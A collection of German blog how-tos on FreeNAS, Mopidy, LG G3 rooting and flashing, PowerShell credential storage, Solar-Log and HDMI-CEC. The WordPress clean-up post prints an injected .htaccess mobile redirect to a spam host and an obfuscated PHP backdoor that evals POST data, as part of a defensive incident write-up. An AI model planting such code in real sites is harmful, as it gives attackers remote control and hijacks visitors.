Freenas 11 – Virtuelle Maschine stoppen (cli)

Die aktuelle Version von Freenas 11.0 (Stable) setzt auf die Virtualisierungsumgebung byvhe, welche zumindest was die Web-Oberfläche angeht, noch nicht wirklich ausgereift ist.
Derzeit existiert noch das Problem, dass in manchen Fällen die Virtuelle Maschine nicht über die GUI gestoppt werden kann.
Sollte dass der Fall sein, kann man den Prozess zumindest über die Konsole beenden.
Schritt 1: Prozessliste ausgeben

root@freenas:/mnt/disks # ps aux
USER         PID  %CPU %MEM     VSZ    RSS TT  STAT STARTED      TIME COMMAND
root          11 400.0  0.0       0     64  -  RL   10:06   245:40.26 [idle]
root       15133   0.1  1.2 53 410180 26656 -  I    11:00     1:12.67 bhyve: Windows (bhyve)

Sucht hier nach dem Namen eurer VM und notiert euch die PID. In meinem Fall heißt die Maschine schlicht „Windows“ und die PID ist „15133“.
Schritt 2: Prozess beenden

kill -9 "PID ID"

Anschließend ist die VM hart beendet worden und ihr könnt diese auch wieder starten.

Mopidy Musicbox/Webradio auf dem Raspberry Pi installieren

Was ist Mopidy überhaupt ? Mopidy ist ein „Music Player Daemon“ – in kurz ein MPD Server, welcher Music sowohl lokal aber auch streamen kann.
So kann man zum Beispiel ein Raspberry Pi nehmen, Lautsprecher anschließen und die Software installiere. Und schon hat man ein Musikspieler den man per Webinterface oder auch Handyapp fernsteuern kann.
Mittlerweile gibt es auch viele Integrationen wie zum Beispiel für Spotify, Soundcloud, Youtube, Radio, iTunes etc. sodass man auch Musik von dort einbinden kann.
Eine kleine Auflistung der verschiedenen (sehr kreativen!) Werke findet man hier:

www.pimusicbox.com
www.pimusicbox.com

Ich habe hier eine kurze Anleitung geschrieben, wie ihr Mopidy auf eurem Raspberry Pi (oder auch jedem anderem Ubuntu System) installieren könnt und die Grundkonfiguration vornehmt.
1. Das offizielle APT Repository von Mopidy seinem System hinzufügen.

wget -q -O - https://apt.mopidy.com/mopidy.gpg |sudo apt-key add -
sudo wget -q -O /etc/apt/sources.list.d/mopidy.list https://apt.mopidy.com/jessie.list

2. Mopidy installieren. Ich habe zusätzlich noch die Spotify Erweiterung (mopidy-spotify) installiert. Eine Übersicht der Web-Extensions, sowie die Installationsanleitung findet ihr hier.

apt-get update && apt-get dist-upgrade && apt-get install mopidy mopidy-spotify

Quelle: mopidy.com

3. Mopidy das erste Mal starten. Einfach Ausführen, damit werden alle notwendigen Verzeichnisse und die Standard Konfiguration erzeugt.

pi@raspberrypi:~ $ mopidy
INFO Starting Mopidy 1.1.1
INFO Loading config from builtin defaults
INFO Loading config from command line options
INFO Creating dir /home/pi/.cache/mopidy
INFO Creating dir /home/pi/.config/mopidy
INFO Creating dir /home/pi/.local/share/mopidy
INFO Loading config from builtin defaults
INFO Loading config from command line options
INFO Creating file /home/pi/.config/mopidy/mopidy.conf
INFO Initialized /home/pi/.config/mopidy/mopidy.conf with default config
INFO Enabled extensions: mopify, mpd, http, moped, stream, m3u, material-webclient, softwaremixer, file, local
INFO Disabled extensions: spotify
WARNING Found spotify configuration errors, the extension has been automatically disabled:
WARNING spotify/username must be set.
WARNING spotify/password must be set.
WARNING Please fix the extension configuration errors or disable the extensions to silence these messages.
INFO Starting Mopidy mixer: SoftwareMixer
INFO Starting Mopidy audio
INFO Starting Mopidy backends: StreamBackend, M3UBackend, FileBackend, LocalBackend
INFO Audio output set to "autoaudiosink"
INFO Creating dir /home/pi/.local/share/mopidy/m3u
INFO Loaded 0 M3U playlists from /home/pi/.local/share/mopidy/m3u
INFO Creating dir /home/pi/.local/share/mopidy/local
INFO No local library metadata cache found at /home/pi/.local/share/mopidy/local/library.json.gz. Please run `mopidy local scan` to index your local music library. If you do not have a local music collection, you can disable the local backend to hide this message.
INFO Loaded 0 local tracks using json
INFO Starting Mopidy core
INFO Starting Mopidy frontends: QueueManagerFrontend, MpdFrontend, HttpFrontend
INFO MPD server running at [::ffff:127.0.0.1]:6600
INFO HTTP server running at [::ffff:127.0.0.1]:6680

4. Stoppen und Konfiguration anpassen
Mit STRG+C beenden wir wieder den Mopidy Server und passen jetzt die Konfiguration an, sodass wir den Server aus unserem Netzwerk aus erreichen können.

vi /home/pi/.config/mopidy/mopidy.conf

Hier passen wir den Hostname von 127.0.0.1 auf 0.0.0.0 an, welche für alle IP-Adressen des Pi steht.
Wer Spotify benutzt muss an dieser Stelle noch die Zugangsdaten seines Premium Account eintragen. Die restlichen Einstellungen ergeben sich eigentlich.

[mpd]
enabled = true
hostname = 0.0.0.0
port = 6600
[http]
enabled = true
hostname = 0.0.0.0
port = 6680

Ihr könnt Mopidy auch über folgende Befehle kontrollieren:

sudo service mopidy start
sudo service mopidy stop
sudo service mopidy restart

5. Mopidy Webinterface aufrufen
Wenn Mopidy gestartet ist, könnt ihr das Webinterface über den oben eingestellten Port (Standard = 6680) erreichen. Also:

http://raspberryIP:6680

Ihr habt dann eine Auflistung aller installierten Webinterfaces und könnt loslegen !

LG G3: In Orginalzustand versetzen (Back to Stock)

Wenn man mal ein falsches Custom-Rom installiert hat, gar nichts mehr geht, oder man einfach sein Handy auf einen kompletten Werkszustand zurücksetzten möchte kann man mit der folgenden Anleitung wieder „Back to Stock“ bzw. sein Handy in Orginalzustand versetzen. (Natürlich nur falls man kein Bootloader entsperrt hat.)
1. Firmware Dateien herunterladen
Ihr findet die KDZ-Dateien für das LG-D855 in folgendem Ordner. Zum Beispiel die folgende: Germany D85510L_00.kdz

telefoninfo_compressed
Den Hardwaretyp bekommt man über Telefoninfo->Hardware-Informationen

2. LG Treiber installieren
Sofern noch nicht geschehen, die ADB & Fastboot Treiber für LG installieren. Zum Download hier.
3. LG Flash Tool 2014 herunterladen
Das Flashtool bekommt ihr hier. Es setzt die Visual C++ Runtime vorraus, falls ihr das Programm nicht startet könnt benötigt ihr dies.
4. Handy in den Download Modus versetzten
Dazu das Handy ausschalten, Lauter-Taste gedrückt halten und USB-Kabel einstecken.
5. Handy flashen
Dazu die .kdz Datei auswählen bei Type: CDMA, Phone Mode: Diag auswählen.
Der „Normal Flash“ löscht keine Daten, ersetzt nur die Systemdaten. Kann allerdings zu Boot-Loops führen, wenn man verschiedene Custom-Roms verwendet hat.
Wählt „CSE Flash“ wenn ihr ein kompletten Reset inklusive Formatierung aller Daten möchtet. Dies ist eine gute Methode um auf Werkszustand zurückzusetzen.
[stextbox id=“info“]Zur Sicherheit kopiert die .kdz Datei in das Programmverzeichnis vom LG Flash Tool – Es gab anscheinend ein paar Probleme, wenn dem nicht so war.[/stextbox]
 

Nach dem letztem OK Button startet der Flashvorgang in einem weiteren Fenster. Nicht von den Chinesischen Schriftzeichen irritieren lassen – ihr könnt den Verlauf auf eurem Handy nachverfolgen.
Bei mir hat der Flashvorgang ca. 3 Minuten gedauert, der erste Boot kann bis zu 6 Minuten dauern.
Der Beitrag basiert auf dem englischem Tutorial im Beitrag von hyelton aus dem XDA-Forum.

LG G3: Wie man ein Custom-Rom installiert (Android 5.0 Lollipop)

LG hat für das G3 bereits Android 5 angekündigt und arbeitet bereits auch am Ausrollen des Over-the-air-Updates.
Für Deutschland ist mir das verteilen des Update noch nicht bekannt, aber in Polen ist es bereits verfügbar. Wer nicht warten kann, kann es über diesen Weg schon vorab installieren.
Auch ein Grund um ein Custom-Rom zu benutzen ist: Wenn man weiter über Root-Rechte verfügen möchte. Denn Google hat mit Android 5.0 / Lollipop einige Änderung für die Sicherheit vorgenommen, was das rooten generell erschweren soll.
Im Moment ist auch noch keine Möglichkeit wie man mit der offiziellen Android 5 Version an root Rechte gelangt (über ein Exploit wie Towerlroot o.ä).
Mit AndroidNow gibt es ein Custom-Rom was auf dem offiziellen Image von LG aufbaut, mit Android 5, Root Rechten und ein paar weiteren Änderungen.
Wie flasht man ein Custom Rom?
[stextbox id=“alert“]Auf alle Fälle vorher ein Backup machen – z.B. mit Titanium Backup oder Helium für die Apps. Für die Einstellungen kann man das LG Backup nutzen. Es kann immer etwas schief gehen![/stextbox]
1. Ihr braucht Roote Rechte
Zum Beispiel via ioroot, oder andere Tools – hatte ich hier schon mal beschrieben.
2. Custom-Recovery (TWRP) herunterladen und auf SD Karte ablegen
Das TWRP Recovery bekommt ihr hier aus folgendem Beitrag. Die .img Datei ist für Flashify ausreichend.
3. Custom-Rom herunterladen und auf SDKarte ablegen
Ihr findet hier einige Roms – ich habe bisher nur AndroidNow 4.2 ausprobiert – kann ich empfehlen.
3. Flashify aus dem Playstore herunterladen
Wird benötigt um ein unter anderem ein verändertes Recovery zu installieren.
4. TWRP (Recovery) flashen
Daszu Flashify starten, root gewähren.
Um sicher zu gehen kann man an dieser Stelle auch nochmal das orginal Recovery sichern.
Anschließend unter Recovery die zuvor heruntergeladene .img Datei flashen.


[stextbox id=“info“]Reboot to Recovery:
Handy ausschalten, Lautstärke Leiser + Power gedrückt halten – Warten bis LG Logo erscheint – loslassen und erneut Leiser + Power drücken.[/stextbox]
5. Full-Backup erstellen
Ins Recovery booten, am einfachsten geht dies aus Flashify heraus (oben Rechts – Reboot Recovery).
Anschließend unter Backup eine Sicherung von allem erstellen, sofern Platz ist. Auf jeden Fall solltet ihr aber das „Modem“ sichern.
6. Custom-Rom flashen
Nun ein Factory-Reset machen dazu im TWRP unter Wipe……
Über Install könnt ihr nun das zu installierende Rom aus dem Speicher auswählen und installieren.
Abschließend Reboot – fertig.

Scripting: Das sichere Speichern von Passwörtern

Um seine privaten Passwörter zu speichern gibt es ja mittlerweile viele Tools wie z.B. PasswortDepot, Keepass, oder Lastpass die ein verschlüsseltes speichern ermöglichen.
Im Firmenumfeld gibt es aber unter Umständen einige Gründe in denen man Passwörter in Powershell oder Batch Scripten ablegen muss.
Jetzt gibt es verschiedene Wege ein Passwort zu speichern und zu nutzen:
1. Im Klartext
Leider ist es immer noch viel zu oft gängige Praxis, das Passwort aufgrund von Faulheit einfach im Klartext in einer Textdatei abzuspeichern.
2. Verschlüsselt via MD5/SHA-1
Die Verschlüsselung des Passwortes sollte auf jeden Fall im Umgang mit Kundendaten oder zum Beispiel für Logindaten erfolgen.
Wenn man ein automatischen Cronjob erzeugt der Remote Daten abgreift, bringt dies allerdings nichts, da ja immer noch das Kennwort (zum Entschlüsseln) irgendwo gespeichert bzw. eingegeben werden muss.
Weitere Infos zum Hashen von Passwörter findet ihr hier sehr schön beschrieben.
3. Verwendung des PSCredential (unter Windows)
Mit der Powershell wurde das PSCredential-Objekt eingeführt – ein Objekt in dem Username + Passwort verschlüsselt abgelegt werden.
Diese Funktion basiert auf der Windows Data Protection Api (DPAPI) wie auch alle anderen Windows-Anwendungen wie z.B. Internet Explorer usw.
Das erzeugen eines PSCredentials funktioniert zum Beispiel so:

$pw = Get-Credential

Wie man sieht besteht das Objekt aus Benutzernamen und dem Passwort welches als „System.Security.SecureString“ gespeichert wird:

PS C:\Users\Constey> $pw
UserName                                                               Password
--------                                                               --------
asd                                                System.Security.SecureString

Um das Passwort jetzt abspeichern zu können muss es in einen String konvertiert werden. Dieser String ist bereits verschlüsselt und sieht ungefähr so aus:

PS C:\Users\Constey> $pw.Password | ConvertFrom-SecureString
01000000d08c9ddf0115d1118c7a00c04fc297eb01000000cbd08902a5e36247a761f726c190898
f00000000020000000000106600000001000020000000db8dea5f0d8c77a856c7a156f2a0ebfc19
ce82a95bfc0877192fe3771178ae2f000000000e8000000002000020000000d172638c2edc9eeca
2b764e052fc94b2671d3b62fdcfb2edd98fac306a22d65670000000bbd1fb42c2f91ffc4f9abac5
4c1fc5cdf0396fee5db1f9bc1d21070c2cc07f1911c0f8af85c9eef1019bc50fd382bb120fb8826
7a51115677520452d6eb5347a615218419e3d5803170a3c71e58b5789f1de597082d5d9eb68af66
598590a1607b7975d3c70d6ae09c70ce781cb0f8e8400000001a1c3903abcc486186818c9695b88
b6c54acfb973a7e6670bd08f78653a275791b42b88d823db04348262908b37fdb03bd6d719a05f5
ea35917e69ab96a44a32

Zum Speichern in einer Datei kann man die Ausgabe per Pipe umleiten:

PS C:\Users\Constey> $pw.Password | ConvertFrom-SecureString | out-file c:\temp\test.txt

Wie liest man ein gespeichertes Passwort aus einer Datei wieder ein ?

$username = "test"
$pw = cat c:\temp\test.txt | ConvertTo-SecureString
$credential = new-object -typename System.Management.Automation.PSCredential -argumentlist $username, $pw

Hier sollte beachtet werden, dass man den Usernamen explizit nochmal von Hand angeben muss, das Kennwort aber aus der Datei importiert wird.
Die $credential Variable ist nun wieder unser PSCredential-Objekt und kann normal weiter verwendet werden.

Get-WmiObject -Query "Select * FROM Win32_OperatingSystem" -Credential $credential

Wenn man nur das Passwort als SecureString über die Konsole einlesen möchte geht dies alternativ auch so:

$pwOnly = read-host -assecurestring

[stextbox id=“info“]Seit Powershell 3.0 gibt es auch die Möglichkeit vollständige Objekte als XML-Datei zu exportieren. Dies kann unter Umständen einfacher sein, da dass Passwort automatisch konvertiert wird und das Objekt auch den Usernamen enthält.[/stextbox]

$pw = Get-Credential
$pw | Export-Clixml C:\temp\test.xml

Der Import funktioniert ebenso simple:

$pwNeu = Import-Clixml C:\temp\test.xml
PS C:\Users\Constey> $pwNeu
UserName                                                               Password
--------                                                               --------
asdasd                                             System.Security.SecureString

Die XML Datei ist wie folgt aufgebaut:

<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
  <Obj RefId="0">
    <TN RefId="0">
      <T>System.Management.Automation.PSCredential</T>
      <T>System.Object</T>
    </TN>
    <ToString>System.Management.Automation.PSCredential</ToString>
    <Props>
      <S N="UserName">asdasd</S>
      <SS N="Password">01000000d08c9ddf0115d1118c7a00c04fc297eb01000000cbd08902a5e36247a761f726c190898f00000000020000000000106600000001000020000000aa344345ba7c169386795f88c4631bde7834256b4d5f65023cf3a8520683b789000000000e8000000002000020000000b219a67d828f8fe0391687af3ca7ccfc96dfd21546b5ad45915745aed130bcd280000000bf438824b21f066088a69a8bf6c0b2286f50c2ff68b1c881b55d98d6b300d3407be4eb2de0521c21b03bdeec2cf60729ff97ead3217f592ab01954641d0c445c9a0ca77e73d83d949425613dcb51c97c917610a61239cb2aa4017141b2139a0ae7d80d738de22c0545019d38af1811dc8d89476d273f578b776cf0e7addc847c40000000bda7b710327a37477bc6db816a7ca7a3553f44fd71aff73bfa6bbaf1b16b9cc4a400fbc8c536dc08d23ed126547c3b5a049105ef8bb8ca487933755c8565aa8b</SS>
    </Props>
  </Obj>
</Objs>

[stextbox id=“info“]Wichtig: Das PSCredential bzw. der SecureString den man erzeugt wird auf Basis von der PC-Hardware aber auch von Werten des aktuellen Benutzers erzeugt. Das heißt, dass dieser String nicht unter einem anderem User funktioniert.
Das hat zudem den Vorteil, dass man ohne Zugangsdaten des Users nichts mit dem gespeichertem Passwort anfangen kann.
Eine Nutzung zum Beispiel über den Task Scheduler wäre dennoch möglich, denn man kann dort sein Script unter einem anderem Benutzer ausführen lassen. Dafür müssen bei der Erstellung des Tasks die Zugangsdaten des Benutzers einmalig angegeben werden. Diese werden dann wiederum verschlüsselt von Windows’s Credential Manager gespeichert.[/stextbox]
Abschließend gilt zu sagen, dass Sicherheit natürlich auch viel mit Bequemlichkeit zu tun hat – dennoch sollte man im Firmenumfeld seine Kennwörter nicht im Klartext in irgendwelchen Dateien abspeichern, jedenfalls sofern es nicht anders möglich ist.
Falls man dennoch mal mit unsicheren Programmen wie Net-Use, FTP etc. arbeiten muss, die keine -Credential Objekte unterstützen gibt es noch das Tool „Get-PSCredential“ von Thomas Franke, welche auch den Umgang mit solchen Programmen zumindest so Sicher wie möglich macht.

WordPress – Maleware MW:HT:291 entfernen und Ursache finden

Heute gibt es mal wieder ein Beitrag von mir in eigener Sache, der meinen WordPress-Blog betrifft.
Wie sich herausgestellt hat wurden alle Webseitenbesucher, welche mit einem Smartphone auf meinen Blog zugreifen wollten automatisch auf irgendwelche Werbeseiten weitergeleitet.
Erst einmal Danke an Steffen, der mir direkt bescheid gegeben hat, sodass der Müll nur für einige Stunden auf meiner Seite aktiv war. Nicht einmal Google war schnell genug um dies zu bemerken. 🙂
Was war passiert ?
Als erstes hatte ich ein paar Online-Viren/Maleware Scanner ausprobiert. Wie schon gesagt hat Google nichts gefunden. Der Malewarescanner von labs.sucuri.net fand dann aber etwas. Gefunden wurde ein sogenannter „Malware entry: MW:HT:291„. Mit der Onlinebeschreibung lies sich aber erst einmal nichts anfangen.
Meine erste Vermutung: Aus irgend einem Plugin oder Theme muss das ja kommen
Also habe ich erst einmal alle Plugins deaktiviert und das Template gewechselt. Leider war die Weiterleitung immer noch drin. Also musste es schon eine Veränderung der WordPress Dateien sein, oder etwas anderes.
Also schaute ich mir mal das Dateisystem an, Ordnerstruktur und WordPress-Dateien.
Dabei sind mir einige .htaccess Dateien aufgefallen, die ich so nicht angelegt hatte. Unter wp-includes, wp-content sowie im Root-Verzeichnis hatte sich da folgendes in die .htaccess eingeschleust:

RewriteEngine On
RewriteBase /
RewriteCond %{HTTP_USER_AGENT} android|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|pad)|iris|kindle|lge\ |maemo|meego.+mobile|midp|mmp|netfront|palm(\ os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows\ (ce|phone)|xda|xiino [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^(1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a\ wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r\ |s\ )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1\ u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp(\ i|ip)|hs\-c|ht(c(\-|\ |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac(\ |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt(\ |\/)|klon|kpt\ |kwc\-|kyo(c|k)|le(no|xi)|lg(\ g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(di|rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-|\ |o|v)|zz)|mt(50|p1|v\ )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v\ )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-|\ )|webc|whit|wi(g\ |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-) [NC]
RewriteRule ^$ http://luxurytds.com/go.php?sid=1 [R,L]

Sucht man im Internet nach „http://luxurytds.com/go.php?sid=1“ findet man bereits einige Einträge zu dem nervigem Thema.
Also den Schmodder erst einmal rausgelöscht und gut war….. Doch woher kommt die Maleware ?
Generell aktualisiere ich regelmäßig meine WordPress Installation sowie alle Plugins. Also sollte es nicht aufgrund irgendwelchen alten WordPress Dateien sein… (Dachte ich!)
Jedenfalls habe ich mir mal einige .php Dateien in meinem WordPress Ordner angeschaut. Bei einer Datei unter wp-content/uploads wurde ich stutzig.
Folgender Inhalt:

<?php
$sF="PCT4BA6ODSE_";
$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);
$s22=${strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2])}['nb08aac'];
if(isset($s22)){eval($s21($s22));}?>

Auf den ersten Blick sieht das vielleicht für den Laien nicht wirklich besonders aus, aber warum ist der Code so „umständlich“ ?
Aufgeschlüsselt bedeutet der Code aber: Wenn jemand diese Datei ausführt mit den POST Daten „_POST[’nb08aac‘]“ kann er beliebigen Code einschleusen.
Eine super Erklärung dafür, mit allem Aufgeschlüsselt von somewebgeek.com gibt es hier.
Nachdem ich nun alle meine WordPress Dateien nach diesem Inhalt durchsucht habe, fand ich noch weitere Einträge in diversen Dateien:
hack-textsucheWie sich herausgestellt hat, war dies auch in der view.php des lightword Theme enthalten, welches ich allerdings nicht mehr benutze. Vermutlich war das die Quelle des Ganzen.
Was lerne ich daraus?
Vermutlich ist es nicht immer gut alles aufzuheben und ab und an sollte man mal sein WordPress aufzuräumen.
Warum soll man viele nicht mehr verwendete oder deaktivierte Themes & Plugins installiert lassen ? -> Einfach deinstallieren!
Die klassischen Einstellungen wie: WordPress Version verstecken, Username ändern, andere Tabellennamen etc. hatte ich bereits eingestellt.
Über das Plugin „Sucuri Security“ bin ich noch auf weitere Einstellungsmöglichkeiten gekommen wie z.B. Security Keys, Restrict wp-includes access und weitere Tricks.
Einen wirklichen Virenscanner, oder etwas vergleichbares habe ich aber noch nicht gefunden.
Dennoch sollte mein Blog jetzt erst einmal wieder Sicher sein 🙂
 

Solarlog (200) Momentanwerte per Kommandozeile auslesen

Solar-Log LogoBesitzer einer Solaranlage haben in der Regel ja auch einen Datenlogger im Einsatz. Ich habe einen Solarlog 200 bei mir zuhause. Die Abfrage der Livewerte sollte aber auch bei allen anderen Modellen von Solar-Log funktionieren.
Das Solarlog besitzt ja eine sehr schöne grafische Webseite, über diese kann man sich auch alle Werte als JSON Objekte ausgeben lassen.
Jede ID steht für einen bestimmten Wert, hier ist eine Übersicht – diese findet ihr auch im Solarlog Handbuch.

&lt;!-- Solar-Log Json Objekte ----
100 - LastUpdateTime
101 - W Pac (Gesamtleistung) aller Zähler &amp; WR
102 - W Pdc (Gestamtleistung aller WR)
103 - V Uac Durchschnittliche Spannung UAC der Wechselrichter
104 - V Durchschnittliche Spannung UDC der Wechselrichter
105 - Wh Durchschnittliche Spannung UDC der Wechselrichter
106 - Wh Summierter gestriger Tagesertrag aller Wechselrichter
107 - Wh Summiertes Monatsertrag aller WR
108 - Wh Summiertes Jahresertrag aller WR
109 - Wh Gesamtertrag aller Wechselrichter
110 - W momentaner Gesamtverbrauch PAC aller Verbauchszähler
111 - Wh Summierter Verbrauch aller Verbauchs-zähler
112 - Wh Summierter Verbrauch des gestrigen Tages; alle Verbauchszähler
113 - Wh Summierter Verbrauch des Monats; alle Verbauchszähler
114 - Wh Summierter Verbrauch des Jahres, alle Verbauchszähler
115 - Wh Summierter Gesamtverbrauch, alle Ver-bauchszähler
116 - Wp Installierte Generatorleistung
--&gt;

Unter Linux kann man sich dann z.B. via Curl alle Werte ausgeben lassen:

curl -X POST -H "Content-Type: application/json" -d '{"801":{"170":null}}' 192.168.0.69/getjp

Der Befehl gibt bei mir folgende Rückgabe:

{"801":{"170":{"100":"21.09.14 16:32:15","101":257,"102":262,"103":0,"104":407,"105":19466,"106":30730,"107":822005,"108":12972119,"109":23174482,"110":0,"111":0,"112":0,"113":0,"114":0,"115":0,"116":16800}}}

Wenn man das jetzt etwas anders formatiert sieht es schon besser aus:

{"801":
{"170":
{"100":"21.09.14 16:32:15",
"101":257,"102":262,
"103":0,"104":407,
"105":19466,
"106":30730,
"107":822005,
"108":12972119,
"109":23174482,
"110":0,
"111":0,
"112":0,
"113":0,
"114":0,
"115":0,
"116":16800}
}
} 

Fernseher über HDMI (CEC) per Raspberry PI steuern

Wie der begeisterte Bastler bestimmt schon gemerkt hat, kann man mit dem Raspberry PI so einige coole Geräte steuern.
So ist es vielleicht auch nützlich den Fernseher ansteuern zu können. Dafür braucht man generell kein Raspberry PI, sondern nur HDMI und ein CEC-fähigen Fernseher, Endgerät. CEC ist ein definiertes Steuerprotokoll, worüber sich Entertainment Geräte steuern lassen und so z.B. eingeschaltet, ausgeschaltet werden können.
Je nach Hersteller heißt das aber nicht immer CEC, sondern z.B. Anynet+ bei Samsung oder Bravia Theatre Sync bei Sony. Hier findet ihr noch einen ganz einfach geschrieben Artikel der CEC erklärt.
Mit der Software „cec-client“ könnt ihr unter einem Linux-Gerät euren Fernseher via HDMI steuern.
Ich beschreibe hier kurz die Installation und ein paar nützliche Befehle.
Schritt 1: Notwendige Abhängigkeiten installieren

sudo apt-get install autoconf build-essential git liblockdev1-dev libtool libudev-dev pkg-config 

Schritt 2: Quellcode herunterladen
Die Quellen für libcec bzw. cec-client sind offen verfügbar unter: https://github.com/Pulse-Eight/libcec.

git clone git://github.com/Pulse-Eight/libcec.git

Schritt 3: Konfigurieren

cd libcec/
./bootstrap
./configure --with-rpi-include-path=/opt/vc/include --with-rpi-lib-path=/opt/vc/lib --enable-rpi

Schritt 4: Kompilieren

make
sudo make install
sudo ldconfig

Schritt 5: Testen
Nun probieren wir aus, ob der cec-client denn funktioniert, er müsste den Raspberry PI erkennen.

pi@RPI ~ $ cec-client -l
Found devices: 1
device: 1
com port: RPI
vendor id: 2708
product id: 1001
firmware version: 1
type: Raspberry Pi

So und nun zum interessanten Teil: Fernseher per HDMI steuern.
Prüft ob an eurem Fernseher die HDMI-CEC Funktion eingeschaltet ist. Dies ist Standardmäßig nicht immer der Fall. In der Regel findet sich dies immer irgendwo unter Einstellungen -> System -> HDMI.
Fernseher per CEC-Client einschalten: 
Folgenden Befehl einfach über die Kommandozeile absetzen.

echo "on 0" | sudo cec-client -s -d 1

Das -s brauchen wir, damit der cec-client im „Single Command“ Mode arbeitet, und unseren Befehl per echo-pipe entgegen nimmt.
Das -d 1 setzt das Loglevel und sorgt für eine überschaubare Rückmeldung. Ihr könnt das ruhig mal weglassen und die komplette Ausgabe analysieren.
Fernseher per CEC-Client ausschalten:

echo "standby 0" | sudo cec-client -s -d 1

Power-Status per CEC-Client auslesen:

echo "pow 0" | sudo cec-client -s -d 1

Fernseher per CEC-Client auf HDMI1,HDMI2,HDMI3, usw. umschalten:

echo "tx 4F 82 10 00" | cec-client -s

Wofür das 4F steht weiß ich ehrlich gesagt nicht, die 82 steht für den „Active Source“ Befehl, die 10 ist bei meinem Sony Fernseher HDMI1, die 00 ist das Ziel als Broadcast.
Um auf HDMI4 umzuschalten wäre der Befehl also:

echo "tx 4F 82 40 00" | cec-client -s

Da muss man ein bisschen herumprobieren, kann je nach Fernseher etwas unterschiedlich sein.
Hilfreich kann folgende Seite sein: www.cec-o-matic.com, dort kann man sich die HDMI Befehle passend zusammenklicken.

LG G3 – OTA Updates trotz Root-Rechte

Nachdem man sein G3 gerootet hat funktionieren auf den ersten Blick erst einmal die OTA-Updates nicht, da das Gerät die Veränderung bemerkt.
Aber alles kein Problem – man kann das Update zwar nicht mehr OTA einspielen sondern per USB mit Hilfe der LG PC Suite Software.
Kurze Anleitung:
1. Die LG PC Suite herunterladen.
2. Anschließend die Software installieren und nochmals aktualisieren. Ohne Aktualisierung wurde mein G3 erst gar nicht erkannt.
3. Das G3 per USB verbinden und dann anschließend auf „Updates“ gehen.
Nun wird das aktuelle Rom heruntergeladen, auf das Handy gespielt und neugestartet.
Dabei werden keine Daten der (/data/) Partition gelöscht.
Es wird aber die vorinstallierte Bloatware (wie z.B. McAfee) wieder nachinstalliert.
Root geht verloren.
Das Software Update V10e:
Ich habe keine gravierenden Veränderungen festgestellt, hatte aber vorher auch keine Probleme:
Rooten klappt nicht mehr mittels Towelroot, allerdings funktioniert noch die PurbleDrake Methode:
1. Das Root-Paket herunterladen.
2. purpledrake_windows.bat ausführen. Fertig. (Vorher USB-Debugging aktivieren.)

Howto: Wie man das LG G3 einfach rootet

LG G3Das neue LG G3 ist seit ein paar Wochen zu haben, und schon gibt es auch eine sehr einfache Methode wie man es rooten kann.
Das Tool heißt ioroot und ist eine Art Jailbrake was einen Bug in adb ausnutzt. Ioroot funktioniert bei vielen LG Smartphones und Tablets.
Folgende Modelle des G3 werden unterstützt:
D850 – 4.4.2 10D
D851 – nope
D855 – 4.4.2 XXX
F400K/L/S – 4.4.2 10A/10B
LS990 – 4.4.2 ZV2
VS985 – 4.4.2 10B

Ihr benötigt:
ioroot -> Download -> (Orignal xda-developers Link)
Die ADB Treiber für das LG Handy, ich habe die beiden hier installiert:
3.11 driver: tool.xcdn.gdms.lge.com/dn/downloader.dev?fileKey=STsLeI24273250272504102
VZW driver: tool.xcdn.gdms.lge.com/dn/downloader.dev?fileKey=UW00520120427
USB-Debugging eingeschaltet
Schritt 1: Entwicklermodus freischalten
